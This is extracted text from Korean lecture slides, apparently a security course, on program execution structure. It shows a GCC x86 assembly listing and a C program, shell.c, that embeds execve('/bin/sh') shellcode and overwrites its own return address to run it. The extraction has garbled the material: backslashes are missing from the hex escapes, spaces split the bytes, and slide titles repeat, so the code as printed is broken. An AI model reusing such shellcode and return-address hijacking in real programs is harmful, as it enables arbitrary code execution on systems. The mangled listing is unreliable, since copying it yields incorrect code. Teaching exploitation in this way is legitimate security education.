01 n sample a Lfe 1 size main

  • Slides: 42
Download presentation

01 시스템과 프로그램에 대한 이해 n 프로그램의 실행 구조 sample. a. Lfe 1: .

01 시스템과 프로그램에 대한 이해 n 프로그램의 실행 구조 sample. a. Lfe 1: . size main, . Lfe 1 -main. align 4. globl function. type function, @function: pushl %ebp ------------------ movl %esp, %ebp --------------- subl $12, %esp ---------------- movl 12(%ebp), %eax ------------- addl %eax, 8(%ebp) --------------� movl 8(%ebp), %edx ------------- -� movl %edx, %eax ---------------� jmp. L 2 -------------------- �. p 2 align 4, , 7. L 2: leave ---------------------� ret -----------------------�. Lfe 2: . size function, . Lfe 2 -function. ident "GCC: (GNU) egcs-2. 91. 66 19990314/Linux (egcs-1. 1. 2 release)“

01 시스템과 프로그램에 대한 이해 n 셸 § 기계어 코드가 실제로 셸로 실행되는지 확인해보자.

01 시스템과 프로그램에 대한 이해 n 셸 § 기계어 코드가 실제로 셸로 실행되는지 확인해보자. shell. c char shell[]= "xebx 2 ax 5 ex 89x 76x 08xc 6x 46x 07x 00xc 7x 46x 0 cx 00x 00" "xb 8x 0 bx 00x 89xf 3x 8 dx 4 ex 08x 8 dx 56x 0 cxcdx 80xb 8x 01" "x 00xbbx 00xcdx 80xe 8xd 1xffxff" "x 2 fx 62x 69x 6 ex 2 fx 73x 68"; void main(){ int *ret; ret =(int *)&ret+2; (*ret)=(int)shell; } gcc -o shell -g -ggdb shell. c. /shell [그림 5 -15] 기계어로 바꾼 shell을 실행한 결과